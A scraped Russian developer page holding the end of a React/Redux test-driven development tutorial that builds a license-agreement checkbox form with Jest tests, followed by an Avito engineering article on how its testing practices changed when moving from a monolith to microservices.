Здесь мы проверяем, Action Creator вернёт экшн с нужным типом и правильными данными, а именно с названием чекбокса. И больше нам здесь нечего проверять.

Само собой, тест у нас красный (сломанный), т.к. код ещё не написан:



Пора написать код:
// actions/package.json{  "main": "./actions"}// actions/actions.tsexport const checkboxClick = (name: string) => ({ type: 'checkbox/click', payload: name })

Проверяем:



Тест пройден, можем приступить к рефакторингу. Здесь мы видим явное дублирование константы с типом экшена, вынесем её в отдельный модуль.
// actionTypes.tsexport const CHECKBOX_CLICK = 'checkbox/click'

Поправим тест:
// actions/actions.test.tsimport { CHECKBOX_CLICK } from 'actionTypes'import { checkboxClick } from '.'describe('checkboxClick', () => {  it('returns checkboxClick action with action name in payload', () => {    const checkboxName = 'anyCheckbox'    const result = checkboxClick(checkboxName)    expect(result).toEqual({ type: CHECKBOX_CLICK, payload: checkboxName })  })})

Тест не проходит, потому что мы не использовали относительный путь к actionTypes. Чтобы это исправить, добавим в tsconfig.json в секцию compilerOptions следующий параметр "baseUrl": "src". После этого понадобится перезапустить тесты вручную.

Убедимся, что тест позеленел, теперь поправим сам код:
// actions/actions.tsimport { CHECKBOX_CLICK } from 'actionTypes'export const checkboxClick = (name: string) => ({ type: CHECKBOX_CLICK, payload: name })

Ещё раз убеждаемся, что тест проходит, и можем двигаться дальше.

Reducers


Напишем обработчик события изменения состояния чекбокса, т.е. Reducer. Редьюсеры это специальные чистые функции, которые принимают на вход текущий state и action, решают как нужно изменить состояние, если это требуется, и возвращают новый state. Редьюсеры должны содержать всю бизнес-логику приложения, насколько это возможно.

Хранить состояние чекбоксов (отмечены они или нет) мы будем простым объектом, где ключом будет выступать название чекбокса, а в булевом значении непосредственно его состояние.
{  checkboxName: true}

Приступим. Первый тест будет проверять, что мы получаем исходное состояние, т.е. пустой объект.
// reducers/reducers.test.tsimport { checkboxReducer } from '.'describe('checkboxReducer', () => {  it('creates default state', () => {    const state = checkboxReducer(undefined, { type: 'anyAction' })    expect(state).toEqual({})  })})

Т.к. у нас даже нет файла с редьюсером, тест сломан. Напишем код.
// reducers/package.json{  "main": "./reducers"}// reducers/reducers.tsconst initialState: Record<string, boolean> = {}export const checkboxReducer = (state = initialState, action: { type: string }) => {  return state}

Первый тест редьюсера починили, можем написать новый, который уже проверит, что получим в результате обработки экшена с информацией о нажатом чекбоксе.
// reducers/reducers.test.tsimport { CHECKBOX_CLICK } from 'actionTypes'import { checkboxReducer } from '.'describe('checkboxReducer', () => {  it('creates default state', () => {    const state = checkboxReducer(undefined, { type: 'anyAction' })    expect(state).toEqual({})  })  it('sets checked flag', () => {    const state = checkboxReducer(undefined, { type: CHECKBOX_CLICK, payload: 'anyName' })    expect(state.anyName).toBe(true)  })})

Минимальный код для прохождения данного теста будет выглядеть следующим образом:
// reducers/reducers.tsimport { CHECKBOX_CLICK } from 'actionTypes'const initialState: Record<string, boolean> = {}export const checkboxReducer = (  state = initialState,  action: { type: string; payload?: string },) => {  if (action.type === CHECKBOX_CLICK && action.payload) {    return { ...state, [action.payload]: true }  }  return state}

Мы убедились, что при обработке экшена, в котором содержится имя чекбокса, в state будет состояние о том, что он отмечен. Теперь напишем тест, который проверит обратное поведение, т.е. если чекбокс был отмечен, то отметка должна быть снята, свойство должно получить значение false.
// reducers/reducers.test.ts  it('sets checked flag to false when it was checked', () => {    const state = checkboxReducer({ anyName: true }, { type: CHECKBOX_CLICK, payload: 'anyName' })    expect(state.anyName).toBe(false)  })

Убеждаемся, что тест красный, т.к. у нас всегда устанавливается значение в true, ведь до сего момента у нас не было других требований к коду. Исправим это.
// reducers/reducers.tsimport { CHECKBOX_CLICK } from 'actionTypes'const initialState: Record<string, boolean> = {}export const checkboxReducer = (  state = initialState,  action: { type: string; payload?: string },) => {  if (action.type === CHECKBOX_CLICK && action.payload) {    return { ...state, [action.payload]: !state[action.payload] }  }  return state}

Отлично! Мы описали всю необходимую бизнес-логику в тестах, написали код, который этим тестам удовлетворяет.

Selectors


Чтобы получить состояние чекбокса, нам понадобится Selector. Селекторы это функции, которые умеют извлекать требуемую информацию из общего состояния приложения. Если в нескольких частях приложения требуется одинаковая информация, используется один и тот же селектор.

Напишем первый тест для селектора.
// selectors/selectors.test.tsimport { getCheckboxState } from './selectors'describe('getCheckboxState', () => {  const state = {    checkboxes: { anyName: true },  }  it('returns current checkbox state', () => {    const result = getCheckboxState('anyName')(state)    expect(result).toBe(true)  })})

Теперь заставим его позеленеть.

Так как селектор должен знать, откуда извлекать информацию, определим структуру хранения.
// types.tsexport type State = {  checkboxes: Record<string, boolean>}

Теперь напишем код селектора. Здесь используется функция высшего порядка из-за особенностей хука useSelector пакета react-redux, который принимает на вход функцию, принимающую один аргумент текущее состояние стора, а нам требуется сообщить ещё дополнительные параметры название чекбокса.
// selectors/package.json{  "main": "./selectors"}// selectors/selectors.tsimport { State } from 'types'export const getCheckboxState = (name: string) => (state: State) => state.checkboxes[name]

Кажется, мы всё сделали правильно, тест теперь зелёный. Но что произойдёт, если у нас ещё не было информации о состоянии чекбокса? Напишем ещё один тест.
// selectors/selectors.test.ts  it('returns false when checkbox state is undefined', () => {    const result = getCheckboxState('anotherName')(state)    expect(result).toBe(false)  })

Получим вот такую картину:



И это правильно, мы получили на выходе undefined, т.е. state ничего не знает об этом чекбоксе. Исправим код.
// selectors/selectors.tsimport { State } from 'types'export const getCheckboxState = (name: string) => (state: State) => state.checkboxes[name] ?? false

Вот теперь селектор работает, как и требуется.

Store


Давайте теперь создадим сам Store, т.е. специальный объект Redux, в котором хранится состояние приложения.
// store.tsimport { AnyAction, createStore, combineReducers } from 'redux'import { State } from 'types'import { checkboxReducer } from 'reducers'export const createAppStore = (initialState?: State) =>  createStore<State, AnyAction, unknown, unknown>(    combineReducers({      checkboxes: checkboxReducer,    }),    initialState,  )export default createAppStore()

Этот код мы отдельно тестировать не будем, т.к. мы используем стороннюю библиотеку, которая уже протестирована. Но далее мы напишем интеграционный тест, который проверит всю связку React + Redux.

React Components


Т.к. всю необходимую бизнес-логику мы уже описали, можем приступить к слою отображения.

Для более удобной работы мы написали небольшую утилиту для тестов. В ней несколько больше функциональности, чем требуется для нашего первого теста, но далее мы всё это применим. Используем удобную библиотеку react-test-renderer, которая позволяет не производить рендер в настоящий DOM, а получать его JS представление. Установим пакет:
npm i react-test-renderer @types/react-test-renderer

Приступим к написанию тестов на компоненты. Начнём непосредственно с чекбокса.

Checkbox


// components/Checkbox/Checkbox.test.tsximport { create } from 'react-test-renderer'import Checkbox from '.'describe('Checkbox', () => {  it('renders checkbox input', () => {    const checkboxName = 'anyName'    const renderer = create(<Checkbox />)    const element = renderer.root.findByType('input')    expect(element.props.type).toBe('checkbox')  })})

Первый тест компонента проверяет, что внутри Checkbox рендерится стандартный input с типом checkbox.

Сделаем тест зелёным.
// components/Checkbox/package.json{  "main": "Checkbox"}// components/Checkbox/Checkbox.tsximport React from 'react'const Checkbox: React.FC = () => {  return (    <div>      <input type="checkbox" />    </div>  )}export default Checkbox

Отлично, теперь добавим свойство label, содержащее текст для html элемента label, который должен отображаться рядом с чекбоксом.
// components/Checkbox/Checkbox.test.tsxit('renders label', () => {    const labelText = 'anyLabel'    const renderer = create(<Checkbox label={labelText} />)    const element = renderer.root.findByType('label')    expect(element.props.children).toBe(labelText)  })

Заставим тест пройти.
// components/Checkbox/Checkbox.tsxconst Checkbox: React.FC<{ label: string }> = ({ label }) => {  return (    <div>      <input type="checkbox" />      <label>{label}</label>    </div>  )}

Осталась небольшая деталь чекбокс как-то должен себя идентифицировать, кроме того, для корректной работы клика по label, нужно прописать id чекбокса в свойство htmlFor. Напишем тест, проверяющий установку свойства id:
// components/Checkbox/Checkbox.test.tsx  it('sets name prop as input id', () => {    const checkboxName = 'anyCheckbox'    const renderer = create(<Checkbox name={checkboxName} label={'anyLabel'} />)    const element = renderer.root.findByType('input')    expect(element.props.id).toBe(checkboxName)  })

Убедившись, что он красный, исправим код:
// components/Checkbox/Checkbox.tsxconst Checkbox: React.FC<{ name: string; label: string }> = ({ name, label }) => {  return (    <div>      <input id={name} type="checkbox" />      <label>{label}</label>    </div>  )}

Тест зеленый, можем написать ещё один, который проверит установку свойства name в свойство htmlFor элемента label.
// components/Checkbox/Checkbox.test.tsx  it('sets name prop as label htmlFor', () => {    const checkboxName = 'anyCheckbox'    const renderer = create(<Checkbox name={checkboxName} label={'anyLabel'} />)    const element = renderer.root.findByType('label')    expect(element.props.htmlFor).toBe(checkboxName)  })

Тест красный, нужно снова поправить код.
// components/Checkbox/Checkbox.tsxconst Checkbox: React.FC<{ name: string; label: string }> = ({ name, label }) => {  return (    <div>      <input id={name} type="checkbox" />      <label htmlFor={name}>{label}</label>    </div>  )}

Пора бы подключить Store к компоненту. Напишем тест, который покажет, что состояние чекбокса (свойство checked) соответствует тому, что хранится в Store.
// components/Checkbox/Checkbox.test.tsximport { Provider } from 'react-redux'import { create } from 'react-test-renderer'import { createAppStore } from 'store'import Checkbox from '.'// omit old code  it('sets checked flag from store when it`s checked', () => {    const store = createAppStore({ checkboxes: { anyName: true } })    const renderer = create(      <Provider store={store}>        <Checkbox name="anyName" label="anyLabel" />      </Provider>,    )    const element = renderer.root.findByType('input')    expect(element.props.checked).toBe(true)  })

Тест пока красный, т.к. компонент ничего не знает о сторе. Заставим тест позеленеть.
// components/Checkbox/Checkbox.tsximport React from 'react'import { useSelector } from 'react-redux'import { getCheckboxState } from 'selectors'const Checkbox: React.FC<{ name: string; label: string }> = ({ name, label }) => {  const checked = useSelector(getCheckboxState(name))  return (    <div>      <input id={name} type="checkbox" checked={checked} />      <label htmlFor={name}>{label}</label>    </div>  )}export default Checkbox

Тест пройден. Наконец-то, мы задействовали Redux! Мы использовали ранее написанный селектор getCheckboxState, который вызвали с помощью хука useSelector, получили значение и передали его в свойство checked элемента input. Но сейчас произошла другая проблема сломались остальные тесты на компонент.



Дело в том, что ранее в тестах мы не передавали стор в компонент. Выделим часть с провайдером стора в функцию и перепишем наши тесты.
// components/Checkbox/Checkbox.test.tsximport { ReactElement } from 'react'import { Provider } from 'react-redux'import { create } from 'react-test-renderer'import { createAppStore } from 'store'import { State } from 'types'import Checkbox from '.'export const renderWithRedux = (node: ReactElement, initialState: State = { checkboxes: {} }) => {  const store = createAppStore(initialState)  return create(<Provider store={store}>{node}</Provider>)}describe('Checkbox', () => {  it('renders checkbox input', () => {    const checkboxName = 'anyName'    const renderer = renderWithRedux(<Checkbox />)    const element = renderer.root.findByType('input')    expect(element.props.type).toBe('checkbox')  })  it('renders label', () => {    const labelText = 'anyLabel'    const renderer = renderWithRedux(<Checkbox label={labelText} />)    const element = renderer.root.findByType('label')    expect(element.props.children).toBe(labelText)  })  it('sets name prop as input id', () => {    const checkboxName = 'anyCheckbox'    const renderer = renderWithRedux(<Checkbox name={checkboxName} label={'anyLabel'} />)    const element = renderer.root.findByType('input')    expect(element.props.id).toBe(checkboxName)  })  it('sets name prop as label htmlFor', () => {    const checkboxName = 'anyCheckbox'    const renderer = renderWithRedux(<Checkbox name={checkboxName} label={'anyLabel'} />)    const element = renderer.root.findByType('label')    expect(element.props.htmlFor).toBe(checkboxName)  })  it('sets checked flag from store when it`s checked', () => {    const initialState = { checkboxes: { anyName: true } }    const renderer = renderWithRedux(<Checkbox name="anyName" label="anyLabel" />, initialState)    const element = renderer.root.findByType('input')    expect(element.props.checked).toBe(true)  })})

Функция renderWithRedux выглядит достаточно полезной, вынесем её в отдельный модуль и импортируем в тестах.
// utils.tsximport { ReactElement } from 'react'import { Provider } from 'react-redux'import { create } from 'react-test-renderer'import { Store } from './types'import { createAppStore } from './store'export const renderWithRedux = (node: ReactElement, initialState: Store = { checkboxes: {} }) => {  const store = createAppStore(initialState)  return create(<Provider store={store}>{node}</Provider>)}

В итоге, шапка тестового файла будет выглядеть вот так:
// components/Checkbox/Checkbox.test.tsximport { renderWithRedux } from 'utils'import Checkbox from '.'describe('Checkbox', () => {

Для полной уверенности напишем ещё один тест, который проверит, что checked бывает и false.
// components/Checkbox/Checkbox.test.tsx  it('sets checked flag from store when it`s unchecked', () => {    const initialState = { checkboxes: { anyName: false } }    const renderer = renderWithRedux(<Checkbox name="anyName" label="anyLabel" />, initialState)    const element = renderer.root.findByType('input')    expect(element.props.checked).toBe(false)  })

Тест пройден, но у нас теперь появилось два теста с похожими описаниями и почти идентичным кодом, давайте немного модифицируем наши тесты, создав табличный тест. Последние два теста превратятся в один:
// components/Checkbox/Checkbox.test.tsx  test.each`    storedState | state    ${true}     | ${'checked'}    ${false}    | ${'unchecked'}  `('sets checked flag from store when it`s $state', ({ storedState }) => {    const initialState = { checkboxes: { anyName: storedState } }    const renderer = renderWithRedux(<Checkbox name="anyName" label="anyLabel" />, initialState)    const element = renderer.root.findByType('input')    expect(element.props.checked).toBe(storedState)  })

Так уже лучше. А теперь самое вкусное напишем интеграционный тест, который проверит, что при нажатии на чекбокс, он изменит своё состояние, т.е. свойство checked.
// components/Checkbox/Checkbox.test.tsximport { act } from 'react-test-renderer'// omit old code    it('changes it`s checked state when it`s clicked', () => {    const initialState = { checkboxes: { anyName: false } }    const renderer = renderWithRedux(<Checkbox name="anyName" label="anyLabel" />, initialState)    const element = renderer.root.findByType('input')    act(() => {      element.props.onChange()    })    expect(element.props.checked).toBe(true)  })

Здесь мы воспользовались функцией act, пакета react-test-renderer, выполняя которую, мы убеждаемся в том, что все сайд-эффекты уже произошли и мы можем продолжить проверки. И далее проверяем, что когда будет вызвано событие onChange на нашем чекбоксе, он изменит свойство checked на true. Пока этого не происходит, требуется написать код. Окончательный вариант компонента примет вот такой вид.
// components/Checkbox/Checkbox.tsximport React from 'react'import { useDispatch, useSelector } from 'react-redux'import { getCheckboxState } from 'selectors'import { checkboxClick } from 'actions'const Checkbox: React.FC<{ name: string; label: string }> = ({ name, label }) => {  const dispatch = useDispatch()  const checked = useSelector(getCheckboxState(name))  const handleClick = React.useCallback(() => {    dispatch(checkboxClick(name))  }, [dispatch, name])  return (    <div>      <input id={name} type="checkbox" checked={checked} onChange={handleClick} />      <label htmlFor={name}>{label}</label>    </div>  )}export default Checkbox

В коде мы навесили обработчик на событие change, который отправляет action в store, создаваемый функцией checkboxClick. Как видим, тест позеленел. Не открывая браузера и даже не запуская сборку приложения, мы имеем протестированный компонент с отдельным слоем бизнес-логики, заключенной в Redux.

AgreementSubmitButton


Нам требуется ещё один компонент непосредственно кнопка Submit, создадим его. Конечно, вначале тест:
// components/AgreementSubmitButton/AgreementSubmitButton.test.tsximport { renderWithRedux } from 'utils'import AgreementSubmitButton from '.'describe('AgreementSubmitButton', () => {  it('renders button with label Submit', () => {    const renderer = renderWithRedux(<AgreementSubmitButton />)    const element = renderer.root.findByType('input')    expect(element.props.type).toBe('button')    expect(element.props.value).toBe('Submit')  })})

Теперь заставим тест позеленеть:
// components/AgreementSubmitButton/package.json{  "main": "./AgreementSubmitButton"}// components/AgreementSubmitButton/AgreementSubmitButton.tsximport React from 'react'const AgreementSubmitButton: React.FC = () => {  return <input type="button" value="Submit" />}export default AgreementSubmitButton

Тест зелёный, начало положено. Напишем новый тест, проверяющий зависимость свойства disabled новой кнопки от состояния чекбокса. Т.к. может быть два состояния, вновь используем табличный тест:
// components/AgreementSubmitButton/AgreementSubmitButton.test.tsx  test.each`    checkboxState | disabled | agreementState    ${false}      | ${true}  | ${'not agreed'}    ${true}       | ${false} | ${'agreed'}  `(    'render button with disabled=$disabled when agreement is $agreementState',    ({ checkboxState, disabled }) => {      const initialState = { checkboxes: { agree: checkboxState } }      const renderer = renderWithRedux(<AgreementSubmitButton />, initialState)      const element = renderer.root.findByType('input')      expect(element.props.disabled).toBe(disabled)    },  )

Имеем двойной красный тест, напишем код для прохождения этого теста. Компонент станет выглядеть вот так:
// components/AgreementSubmitButton/AgreementSubmitButton.tsximport React from 'react'import { useSelector } from 'react-redux'import { getCheckboxState } from 'selectors/selectors'const AgreementSubmitButton: React.FC = () => {  const checkboxName = 'agree'  const agreed = useSelector(getCheckboxState(checkboxName))  return <input type="button" value="Submit" disabled={!agreed} />}export default AgreementSubmitButton

Ура, все тесты зелёные!
Следует обратить внимание, что в табличном тесте мы намеренно использовали два различных параметра checkboxState и disabled, хотя может показаться, что достаточно только первого, а в тесте написать вот так expect(element.props.disabled).toBe(!disabled). Но это плохой паттерн закладывать какую-то логику внутри тестов. Вместо этого мы явно описываем входные и выходные параметры. Так же, мы здесь немного ускорились, т.к., фактически написали два теста за раз. Такое допустимо, когда чувствуешь в себе силы и понимаешь, что реализация достаточно очевидная. Когда уровень владения TDD ещё не совершенный, лучше создавать по одному тесту за раз. В нашем случае это писать по одной строчке в таблице.

LicenseAgreement


Оформим нашу работу в то, ради чего мы всё это затевали в форму принятия лицензионного соглашения. Какие имеются требования к форме:
  1. Содержится заголовок и непосредственно текст лицензионного соглашения. Эта часть компонента не требует тестирования.
  2. На форме имеется компонент Checkbox с определенными label и name. Это можно и нужно тестировать.
  3. На форме имеется кнопка AgreementSubmitButton. Это тоже прекрасно поддаётся тестированию.

Приступим, первый тест на то, что на форме есть Checkbox:
// components/LicenseAgreement/LicenseAgreement.test.tsximport { renderWithRedux } from 'utils'import Checkbox from 'components/Checkbox'import LicenseAgreement from '.'jest.mock('components/Checkbox', () => () => null)describe('LicenseAgreement', () => {  it('renders Checkbox with name and label', () => {    const renderer = renderWithRedux(<LicenseAgreement />)    const element = renderer.root.findByType(Checkbox)    expect(element.props.name).toBe('agree')    expect(element.props.label).toBe('Agree')  })})

На что тут стоит обратить внимание мы использовали тестовый дублёр для компонента Checkbox в строчке jest.mock('components/Checkbox', () => () => null). Это делает наш тест изолированным, таким образом он не зависит от реализации Checkbox, возможные ошибки в этом компоненте не повлияют на результат выполнения данного теста. Дополнительно это экономит вычислительные ресурсы и время выполнения тестов. Тест красный, требуется написать правильный код:
// components/LicenseAgreement/package.json{  "main": "./LicenseAgreement"}// src/components/LicenseAgreement/LicenseAgreement.tsximport React from 'react'import Checkbox from 'components/Checkbox'const LicenseAgreement: React.FC = () => {  return (    <div>      <Checkbox name="agree" label="Agree" />    </div>  )}export default LicenseAgreement

Получили зеленый тест, можем написать второй для этого компонента. Файл с тестами изменится:
// components/LicenseAgreement/LicenseAgreement.test.tsximport { renderWithRedux } from 'utils'import Checkbox from 'components/Checkbox'import AgreementSubmitButton from 'components/AgreementSubmitButton'import LicenseAgreement from '.'jest.mock('components/Checkbox', () => () => null)jest.mock('components/AgreementSubmitButton', () => () => null)describe('LicenseAgreement', () => {  it('renders Checkbox with name and label', () => {    const renderer = renderWithRedux(<LicenseAgreement />)    const element = renderer.root.findByType(Checkbox)    expect(element.props.name).toBe('agree')    expect(element.props.label).toBe('Agree')  })  it('renders SubmitAgreementButton', () => {    const renderer = renderWithRedux(<LicenseAgreement />)    expect(() => renderer.root.findByType(AgreementSubmitButton)).not.toThrow()  })})

Чтобы он позеленел, добавим AgreementSubmitButton в компонент:
// src/components/LicenseAgreement/LicenseAgreement.tsximport React from 'react'import Checkbox from 'components/Checkbox'import AgreementSubmitButton from 'components/AgreementSubmitButton'const LicenseAgreement: React.FC = () => {  return (    <div>      <Checkbox name="agree" label="Agree" />      <AgreementSubmitButton />    </div>  )}export default LicenseAgreement

Заметим, что Checkbox и AgreementSubmitButton не зависят друг от друга. Каждый компонент зависит только от стора и больше ни от чего.

Ключ на старт!


Вставим над компонентами сам текст соглашения, далее можем добавлять компонент в приложение. В сгенерированном приложении имеется корневой компонент App, модифицируем его тесты на проверку рендера LicenseAgreement:
// App.test.tsximport { renderWithRedux } from 'utils'import LicenseAgreement from 'components/LicenseAgreement'import App from 'App'jest.mock('components/LicenseAgreement', () => () => null)test('renders LicenseAgreement', () => {  const renderer = renderWithRedux(<App />)  expect(() => renderer.root.findByType(LicenseAgreement)).not.toThrow()})

Заставим тест позеленеть:
// App.tsximport React from 'react'import LicenseAgreement from 'components/LicenseAgreement'const App: React.FC = () => {  return <LicenseAgreement />}export default App

Мы получили зелёный тест, можно, наконец, запустить сборку приложения с помощью npm start. Сборка пройдёт успешно, но в браузере мы увидим следующую картину:



Это говорит о том, что мы не подключили Redux store в само приложение. Сделаем это в файле index.tsx:
// index.tsximport React from 'react'import ReactDOM from 'react-dom'import { Provider } from 'react-redux'import 'index.css'import store from 'store'import App from 'App'ReactDOM.render(  <React.StrictMode>    <Provider store={store}>      <App />    </Provider>  </React.StrictMode>,  document.getElementById('root'),)

Теперь приложение запускается, всё работает, как ожидается, кроме внешнего вида:



Исправим это, поправив вёрстку, и получим конечный результат:



Заключение


Я намеренно выбрал максимально простой пример, чтобы не перегружать статью текстом и кодом. Конечно, здесь можно было обойтись и без Redux, а хранить состояние чекбокса в локальном стейте компонента, и на мелких компонентах это может быть оправдано. Но по мере роста приложения, преимущества Redux будут становиться всё более очевидными, особенно когда появляется более сложная бизнес-логика, которую потребуется тестировать. Redux позволяет избавиться от прокидывания свойств через множество компонентов, каждый компонент либо достает необходимую информацию из стора самостоятельно, либо сам же диспатчит экшены.

Во второй части данной статьи предполагался рассказ о библиотеке Redux Tookilt, которая значительно упрощает использование Redux в разработке фронтенд-приложений, но я решил в следующей статье показать, как можно написать настоящее полезное приложение, хоть и очень простое, на React, Redux и Redux Toolkit.

Исходные коды полученного приложения доступны на GitHub.

Дополнительные источники информации:
Подробнее..

Автоматизация тестирования в микросервисной архитектуре

07.07.2020 10:10:24 | Автор: admin

Привет, Хабр. Меня зовут Сергей Вертепов, я senior backend инженер. Это небольшая обзорная статья отом, как мы тестировали монолитное приложение Авито, и что изменилось спереходом намикросервисную архитектуру.



Тестирование в домикросервисную эпоху


Изначально приложение Авито было монолитным. Справедливости ради, монолит унас и сейчас довольно большой, но микросервисов становится всё больше и больше.



Выше схема того, как выглядит монолитное приложение. Унас есть пользователь, есть уровень представления, бизнес-уровень, уровень данных и база данных, изкоторой мы их получаем. Когда унас был большой-большой монолит, то объектом тестирования было приложение сбэкендом наPHP, фронтендом наTwig, и совсем немножко наReact.


Классическая пирамида тестирования длямонолитного приложения выглядит так:


  1. Много юнит-тестов.
  2. Чуть меньше интеграционных тестов.
  3. Ещё меньше сквозных тестов.
  4. Поверх всего непонятное количество мануальных тестов.


Расскажу, как мы пытались прийти ктакой пирамиде, и что унас было изинфраструктуры.


У нас был собственный тестовый framework наPHP сPHPUnit подкапотом. Система генерации тестовых данных унас тоже своя. Это ресурс-менеджер, который позволяет создать любой необходимый запрашиваемый ресурс длятестирования. Например, пользователя сденьгами, собъявлениями вопределённой категории наАвито, пользователя сопределённым статусом.


Система просмотра отчётов тоже самописная. Кроме неё мы написали собственный jsonwire-grid. Grid это система оркестрации селениумными нодами, она позволяет потребованию поднять селениумную ноду. Узнать подробности проGrid, как мы его разрабатывали и какие технологии использовали, можно издоклада моего коллеги Михаила Подцерковского cHeisenbug 2018года.


Также унас есть собственный selenium-maper. Мы написали собственную библиотечку, которая позволяет выполнять запросы поjsonwire-протоколу.


Наш CI-pipeline выглядел следующим образом: происходил какой-то CI Event, пусть для примера это будет пуш врепозиторий. ВCI собирался артефакт длязапуска тестов. Самописная система параллельного запуска тестов парсила артефакт и начинала запускать тесты накуче разных нод.



В качестве тестового приложения мы использовали РНР-имплементацию Selenide, полный порт сJava. Но впроцессе мы отнего отказались, потому что Selenide было тяжело поддерживать, сам он уже не развивался. Мы написали свой, более легковесный, PowerUI, вокруг которого построили и архитектуру тестовых приложений скастомными матчерами, селекторами и так далее. Этот продукт сильно упростил длянас тестирование и построение отчётов. Соответственно, дальше PowerUI черезjsonwire-grid входил вселениумную ноду и выполнял необходимые действия.


Само тестовое приложение унас дополнительно ходило вресурс-менеджер длягенерации тестовых данных, и потом уже отправляло данные внашу систему просмотра отчётов Test Report System.


В целом, втакой парадигме мы прекрасно жили. Вначале релизы большого монолитного PHP-приложения были раз вдень, потом их количество выросло дотрёх, а впоследствии и вовсе дошести. Унас было несколько тысяч Е2Е-тестов сбольшим покрытием, и они были довольно легковесными. Всреднем они выполнялись порядка минуты, заредким исключением. Тест, который проверял огромный кусок бизнес-логики мог занимать две-три минуты. Унас был минимум ручного регресса и минимум багов впродакшене.


Тестирование в микросервисной архитектуре


Со временем мы стали переходить намикросервисную архитектуру. Основные её плюсы это масштабирование, быстрота доставки фич и отказоустойчивость.


С монолитом пирамида тестирования унас не получилась. Вместо неё была мороженка тестирования. Счем это было связано? Е2Е-тесты благодаря разработанной инфраструктуре были довольно быстры и не причиняли особой боли. Поэтому мы делали основной упор наних. Мы даже могли пренебрегать юнит-тестами.



Сприходом микросервисной архитектуры такой подход перестал работать. Огромная часть бизнес-логики уехала вотдельные сервисы, их становилось всё больше. На 2020год унас порядка 2,5 тысяч разных репозиториев. Втаком случае, когда мы запускали Е2Е-тесты какой-то сервис мог, например, резко перестать отвечать. Если он отвалился, все тесты, которые ходили вэтот сервис и были блокирующими длямержа, тоже начинали падать. Соответственно, унас просто падал time tomarket, так как люди не могли мержиться из-западающих тестов. Мы были вынуждены сидеть и ждать, пока придёт оунер конкретного сервиса, разберётся, что происходит, перевыкатит его или разберется спроблемами.


После этого мы внедрили карму тестов. Это очень простой механизм. Он работает наоснове самописной системы отчётов, которая имеет всю необходимую историчность данных. Карма проверяет, что тест упал, и дальше идёт смотреть, встречается ли подобная ошибка призапуске тестов вдругих ветках. Ошибка это хэш трейса. Мы берём полный трейс, хэшируем его и сохраняем. Если мы видим, что ошибка стаким хэшем встречается ещё натрёх ветках, мы понимаем, что проблема не вветке, накоторой запущены тесты, а что она носит общий характер. Если ошибка общая и не имеет отношения кконкретной ветке, то мы позволяем вмержить эту ветку.



Да, таким образом мы маскируем проблемы, но, тем не менее, это решение сильно упростило жизнь разработчиков. Вслучае, если разработчик пропустил какой-то баг, унас остаётся процесс деплоя. Вдеплое никакая карма уже не работает, всё наручном апруве тестировщиков и разработчиков, то есть мы прямо смотрим, что и как унас происходило. Если находим проблемы, выкатка блокируется дотех пор, пока проблемы не решат и не сделают хотфикс.


Количество микросервисов растёт, а количество тестировщиков не очень. Как правило, унас наюнит один ручной тестировщик. Понятное дело, что водиночку довольно-таки тяжело полностью покрывать нужды всех разработчиков изкоманды. Всреднем это несколько фронтендеров, несколько бэкендеров, ещё автоматизаторы и так далее.


Чтобы решить эту проблему, мы стали внедрять методологию Agile Testing. Суть этой методологии состоит втом, что мы предотвращаем баги, а не ищем их. Тестирование мы обсуждаем наProduct Backlog Refinements. Мы сразу определяем, как будем тестировать какую-то фичу: достаточно ли покрыть её юнит-тестом и если юнит-теста достаточно, какой это должен быть юнит-тест. Обсуждение происходит вместе стестировщиком, который определяет, нужно ли будет дополнительно провести ручное тестирование. Как правило, юнит-теста бывает достаточно. Плюс тестировщик может подсказать ещё какие-то кейсы, а также может предоставить чеклист, наоснове которого мы напишем нужные юнит- или функциональные тесты.


Разработка унас идёт отприёмочных тестов, то есть мы всегда определяем тесты, которые будут приняты приразработке. Подробнее пропереход на Agile Testing уже рассказывала моя коллега Алёна изсоседнего юнита. Встатье она пишет овнедрении методологии напримере своей команды, но это справедливо длявсего Авито.


Но Agile Testing невозможен безShift-left тестов. Shift-left testing это методология, прикоторой мы тестируем каждый деплой и прикаждом пуше прогоняем все необходимые тесты. Выкатка без этого невозможна. Но тесты приэтом должны быть легковесными. Основная суть подхода находить дефекты наранних этапах, чтобы разработчик мог запустить необходимый тест влюбой момент, когда пишет код. Также он обеспечивает непрерывное тестирование вCI, и возможность автоматизации чего угодно.


Во время Shift-left тестов мы разбиваем большие, тяжёлые тесты накучу маленьких, чтобы они запускались и выполнялись быстрее. Мы декомпозировали наши огромные Е2Е-тесты накомпонентно-интерфейсные тесты, наюнит-, интеграционные тесты, функциональные тесты, то есть начали распределять Е2Е попирамиде. Раньше запуск тестов мог занять 2030минут и требовал танцев сбубном. Сейчас влюбом микросервисе тесты прогоняются за5-10минут, и разработчик сразу знает, сломал он что-либо или нет.


Также мы внедрили методологию контрактных тестов. Сокращение CDC-тесты значит Consumer-Driven Contract тесты. Когда мы пушим изменение кода врепозитории, специально написанный брокер собирает всю необходимую информацию потому, какие написанные CDC-тесты есть, и дальше понимает, ккакому сервису они имеют отношение.


Сами CDC-тесты пишутся настороне консьюмера сервиса. Привыкатке продюсера мы прогоняем все написанные тесты, то есть проверяем, что продюсер никак не нарушает контракт. Подробнее проэто рассказывал всвоём докладе Фрол Крючков, который как раз драйвил эту идею.


Помогли ли нам CDC-тесты? Нет, потому что появилась проблема стем, что сами консьюмеры не поддерживают свои тесты. Как результат тесты нестабильны, из-заэтого получалось, что наши продюсеры не могли вовремя выкатиться. Приходилось идти и фиксить тесты состороны консьюмеров. Плюс тесты все писали по-разному, наодну ручку мог быть десяток различных тестов, которые проверяют одно и то же. Это неудобно и долго. Поэтому отидеи CDC-тестов мы отказались.


Недавно мы внедрили PaaS. Наша архитектурная команда разработала очень удобный инструмент, благодаря которому можно быстро развернуть набойлерплейтах сервис и сразу начать его разрабатывать. Приэтом не надо думать ни обазах, ни омиграторах и прочих инфраструктурных штуках. Можно сразу начать писать код и катить миграции.



Теперь сервис-потребитель и сервис-продюсер общаются между собой через Api Gateway. Настороне Api Gateway есть валидация контрактов наоснове бриф-файлов. Бриф-файл это очень простой структурный файлик, который описывает сервисное взаимодействие. Есть бриф-файл настороне продюсера, он описывает то, как мы должны общаться сэтим сервисом. Консьюмер копипастой берёт необходимую себе ручку, необходимую структуру, затаскивает всё это всвой сервис, и генерирует наоснове этого клиенты.


Соответственно, унас идёт валидация бриф-файлов, что унас всё впорядке, что мы не ломаем никакое сетевое взаимодействие. Сейчас уже такая валидация даже будет блокировать мерж, если унас где-то нарушаются контракты. Мы как раз проверяем контракты настороне инфраструктурных штук.


